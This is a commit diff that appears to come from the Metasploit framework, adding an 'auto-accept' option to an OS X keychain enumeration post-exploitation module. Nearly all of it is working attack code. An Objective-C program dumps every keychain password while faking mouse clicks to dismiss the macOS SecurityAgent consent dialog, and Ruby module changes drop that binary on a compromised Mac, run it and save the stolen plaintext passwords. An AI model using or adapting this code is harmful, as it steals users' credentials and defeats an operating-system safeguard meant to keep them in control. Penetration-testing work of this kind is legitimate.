Add auto-accept to osx/enum_keychain.
parent
0c7d2af6bc
commit
1b320bae6a
|
@ -0,0 +1,2 @@
|
|||
all:
|
||||
gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
Binary file not shown.
|
@ -0,0 +1,161 @@
|
|||
// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
|
||||
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <CoreFoundation/CoreFoundation.h>
|
||||
#import <Security/Security.h>
|
||||
#include <ApplicationServices/ApplicationServices.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#define TIMEOUT 3
|
||||
|
||||
void click(float x, float y) {
|
||||
|
||||
CGEventRef move1 = CGEventCreateMouseEvent(
|
||||
NULL, kCGEventMouseMoved,
|
||||
CGPointMake(x, y),
|
||||
kCGMouseButtonLeft // ignored
|
||||
);
|
||||
CGEventRef click1_down = CGEventCreateMouseEvent(
|
||||
NULL, kCGEventLeftMouseDown,
|
||||
CGPointMake(x, y),
|
||||
kCGMouseButtonLeft
|
||||
);
|
||||
CGEventRef click1_up = CGEventCreateMouseEvent(
|
||||
NULL, kCGEventLeftMouseUp,
|
||||
CGPointMake(x, y),
|
||||
kCGMouseButtonLeft
|
||||
);
|
||||
|
||||
CGEventPost(kCGHIDEventTap, move1);
|
||||
CGEventPost(kCGHIDEventTap, click1_down);
|
||||
CGEventPost(kCGHIDEventTap, click1_up);
|
||||
|
||||
// Release the events
|
||||
CFRelease(move1);
|
||||
CFRelease(click1_up);
|
||||
CFRelease(click1_down);
|
||||
}
|
||||
|
||||
void parse_windows(int offx, int offy) {
|
||||
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
|
||||
for (NSMutableDictionary* entry in (NSArray*)windowList)
|
||||
{
|
||||
CGRect rect;
|
||||
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
|
||||
if ([ownerName isEqualToString: @"SecurityAgent"]) {
|
||||
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
|
||||
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
|
||||
float spotx = rect.origin.x + 385 + offx;
|
||||
float spoty = rect.origin.y + rect.size.height - 25 + offy;
|
||||
click(spotx, spoty);
|
||||
}
|
||||
|
||||
}
|
||||
CFRelease(windowList);
|
||||
}
|
||||
|
||||
void poll_ui() {
|
||||
while(1) {
|
||||
sleep(0.0001);
|
||||
parse_windows(0, 0);
|
||||
}
|
||||
}
|
||||
|
||||
id tQuery = NULL;
|
||||
CFTypeRef result = NULL;
|
||||
|
||||
void prompt() {
|
||||
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
|
||||
}
|
||||
|
||||
void dump(NSArray *refs) {
|
||||
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
|
||||
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
|
||||
error: NULL];
|
||||
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
|
||||
}
|
||||
|
||||
int main() {
|
||||
pthread_t thread_prompt, thread_click;
|
||||
NSArray *secItemClasses = [NSArray arrayWithObjects:
|
||||
(__bridge id)kSecClassGenericPassword,
|
||||
(__bridge id)kSecClassInternetPassword,
|
||||
nil];
|
||||
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
|
||||
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
|
||||
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
|
||||
nil];
|
||||
NSMutableArray *refs = [NSMutableArray new];
|
||||
for (id secItemClass in secItemClasses) {
|
||||
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||
|
||||
CFTypeRef result1 = NULL;
|
||||
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
|
||||
NSArray *data = (__bridge NSArray*)result1;
|
||||
if (data) {
|
||||
for (NSDictionary *item in data) {
|
||||
if (!item) continue;
|
||||
NSMutableDictionary *newItem = [NSMutableDictionary new];
|
||||
for (NSString* key in item) {
|
||||
[newItem setObject:[[item objectForKey: key] description] forKey: key];
|
||||
}
|
||||
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
|
||||
[refs addObject: newItem];
|
||||
}
|
||||
if (result1 != NULL) CFRelease(result1);
|
||||
}
|
||||
}
|
||||
|
||||
NSMutableArray *all = [NSMutableArray new];
|
||||
for (id ref in refs) {
|
||||
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
|
||||
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
|
||||
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
|
||||
nil];
|
||||
for (id secItemClass in secItemClasses) {
|
||||
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
|
||||
|
||||
result = NULL;
|
||||
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
|
||||
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
|
||||
|
||||
time_t end = time(NULL) + TIMEOUT;
|
||||
int found = 0;
|
||||
while(time(NULL) < end) {
|
||||
if (result != NULL) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
sleep(0.1);
|
||||
}
|
||||
|
||||
pthread_cancel(thread_click);
|
||||
pthread_cancel(thread_prompt);
|
||||
|
||||
[ref removeObjectForKey: @"v_Ref"];
|
||||
|
||||
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
|
||||
// is locked
|
||||
if (!found) {
|
||||
parse_windows(-80, 0); // click cancel
|
||||
dump(all); // get out now
|
||||
return 0;
|
||||
}
|
||||
|
||||
NSString *pass = @"(null)";
|
||||
if (result && [result bytes]) {
|
||||
pass = [NSString stringWithUTF8String:[result bytes]];
|
||||
if (!pass) pass = @"(null)";
|
||||
} else {
|
||||
pass = @"(null)";
|
||||
}
|
||||
[ref setObject:pass forKey: @"Private"];
|
||||
[all addObject: ref];
|
||||
}
|
||||
}
|
||||
|
||||
dump(all);
|
||||
return 0;
|
||||
}
|
|
@ -7,24 +7,30 @@ require 'msf/core'
|
|||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OS X Gather Keychain Enumeration',
|
||||
'Description' => %q{
|
||||
This module presents a way to quickly go through the current user's keychains and
|
||||
collect data such as email accounts, servers, and other services. Please note:
|
||||
when using the GETPASS option, the user will have to manually enter the password,
|
||||
and then click 'allow' in order to collect each password.
|
||||
when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
|
||||
alert flash briefly on their screen that gets dismissed by a programatically triggered click.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>'],
|
||||
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
|
||||
'Platform' => [ 'osx' ],
|
||||
'SessionTypes' => [ 'shell' ]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('GETPASS', [false, 'Collect passwords.', false])
|
||||
OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
|
||||
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
|
||||
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
|
||||
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -40,27 +46,25 @@ class Metasploit3 < Msf::Post
|
|||
user = cmd_exec("whoami").chomp
|
||||
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
|
||||
|
||||
i = 0
|
||||
accounts = {}
|
||||
accounts = []
|
||||
|
||||
out.split("\n").each do |line|
|
||||
unless line =~ /NULL/
|
||||
case line
|
||||
when /\"acct\"/
|
||||
i+=1
|
||||
accounts[i]={}
|
||||
accounts[i]["acct"] = line.split('<blob>=')[1].split('"')[1]
|
||||
accounts << Hash.new
|
||||
accounts.last["acct"] = line.split('<blob>=')[1].split('"')[1]
|
||||
when /\"srvr\"/
|
||||
accounts[i]["srvr"] = line.split('<blob>=')[1].split('"')[1]
|
||||
accounts.last["srvr"] = line.split('<blob>=')[1].split('"')[1]
|
||||
when /\"svce\"/
|
||||
accounts[i]["svce"] = line.split('<blob>=')[1].split('"')[1]
|
||||
accounts.last["svce"] = line.split('<blob>=')[1].split('"')[1]
|
||||
when /\"desc\"/
|
||||
accounts[i]["desc"] = line.split('<blob>=')[1].split('"')[1]
|
||||
accounts.last["desc"] = line.split('<blob>=')[1].split('"')[1]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return accounts
|
||||
accounts
|
||||
end
|
||||
|
||||
def get_passwords(accounts)
|
||||
|
@ -89,7 +93,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
|
||||
def save(data)
|
||||
def save(data, kind='Keychain information')
|
||||
l = store_loot('macosx.keychain.info',
|
||||
'plain/text',
|
||||
session,
|
||||
|
@ -97,7 +101,7 @@ class Metasploit3 < Msf::Post
|
|||
'keychain_info.txt',
|
||||
'Mac Keychain Account/Server/Service/Description')
|
||||
|
||||
print_good("#{@peer} - Keychain information saved in #{l}")
|
||||
print_good("#{@peer} - #{kind} saved in #{l}")
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -114,14 +118,43 @@ class Metasploit3 < Msf::Post
|
|||
save(accounts)
|
||||
|
||||
if datastore['GETPASS']
|
||||
begin
|
||||
passwords = get_passwords(accounts)
|
||||
rescue
|
||||
print_error("#{@peer} - Module timed out, no passwords found.")
|
||||
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
|
||||
if (datastore['GETPASS_AUTO_ACCEPT'])
|
||||
print_status("Writing auto-clicker to `#{clicker_file}'")
|
||||
write_file(clicker_file, clicker_bin)
|
||||
register_file_for_cleanup(clicker_file)
|
||||
|
||||
print_status('Dumping keychain with auto-clicker...')
|
||||
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
|
||||
save(passwords, 'Plaintext passwords')
|
||||
|
||||
begin
|
||||
count = JSON.parse(passwords).count
|
||||
print_good("Successfully stole #{count} passwords")
|
||||
rescue JSON::ParserError => e
|
||||
print_error("Response was not valid JSON")
|
||||
end
|
||||
else
|
||||
begin
|
||||
passwords = get_passwords(accounts)
|
||||
rescue
|
||||
print_error("#{@peer} - Module timed out, no passwords found.")
|
||||
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
|
||||
end
|
||||
save(passwords)
|
||||
end
|
||||
save(passwords)
|
||||
end
|
||||
end
|
||||
|
||||
def clicker_file
|
||||
@clicker_file ||=
|
||||
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
|
||||
end
|
||||
|
||||
def clicker_bin
|
||||
File.read(File.join(
|
||||
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue